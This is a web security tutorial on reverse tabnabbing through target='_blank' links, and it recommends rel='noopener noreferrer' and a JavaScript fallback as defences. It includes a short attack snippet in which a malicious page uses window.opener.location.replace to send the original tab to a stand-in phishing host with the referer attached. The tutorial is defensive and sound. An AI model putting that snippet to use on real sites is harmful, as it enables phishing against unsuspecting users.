Stop Phishing via target=_blank: Secure Links with rel=noopener & noreferrer

When you add target="_blank" to an <a> tag, browsers open the URL in a new tab, but this attribute can be exploited by attackers.

Preface

parent and opener

Before discussing the opener object, consider the window.parent object inside an <iframe>. The window.parent lets a child frame access its parent page's window object.

The opener object is similar, but it refers to the window that opened a new tab via an <a target="_blank"> link. You can access the new tab's window through window.opener.

Same‑origin and cross‑origin

Browsers enforce a cross‑origin protection mechanism. When the old and new pages share the same domain, both parent and opener refer to the same window object. When domains differ, they become wrapped global objects that expose only a very limited set of properties; most properties throw a DOMException when accessed.

Malicious attack

If your site contains a link with target="_blank", a user clicking it opens a new tab. If the new page runs malicious code, the original page can be replaced with a phishing page, so when the user returns, they see a forged page.

Steps

You have an <a> link like:

<a href="https://an.evil.site" target="_blank">
  Enter an "evil" website
</a>

The new page can read the Referer header and execute JavaScript such as:

const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);

The attacker then crafts a page at https://a.fake.site that mimics the original site, tricking the user.

When the user closes the malicious tab and returns, the original page may have been replaced and is no longer reachable.

In cross‑origin scenarios, opener is less restricted than parent and can still call location.replace. In same‑origin cases the impact can be even worse.

Prevention

1. Referrer Policy and noreferrer

Add a Referrer‑Policy header on the server (or via Nginx) and use rel="noreferrer" on the link to prevent the original page from being affected.

<a href="https://an.evil.site" target="_blank" rel="noreferrer">
  Enter an "evil" website
</a>

2. noopener

Modern browsers support rel="noopener", which sets window.opener to null in the new tab.

<a href="https://an.evil.site" target="_blank" rel="noopener">
  Enter an "evil" website
</a>

3. JavaScript fallback

For older browsers, use JavaScript to open the URL safely:

"use strict";

function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

Best advice

Combine both attributes for maximum protection:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">
  Enter an "evil" website
</a>

When linking to third‑party sites, also add rel="nofollow" to control SEO weight:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">
  Enter an "evil" website
</a>

Performance

Using target="_blank" can affect the performance of the original page because the new tab shares the same thread. Adding rel="noopener" isolates the two pages, preventing one from blocking the other.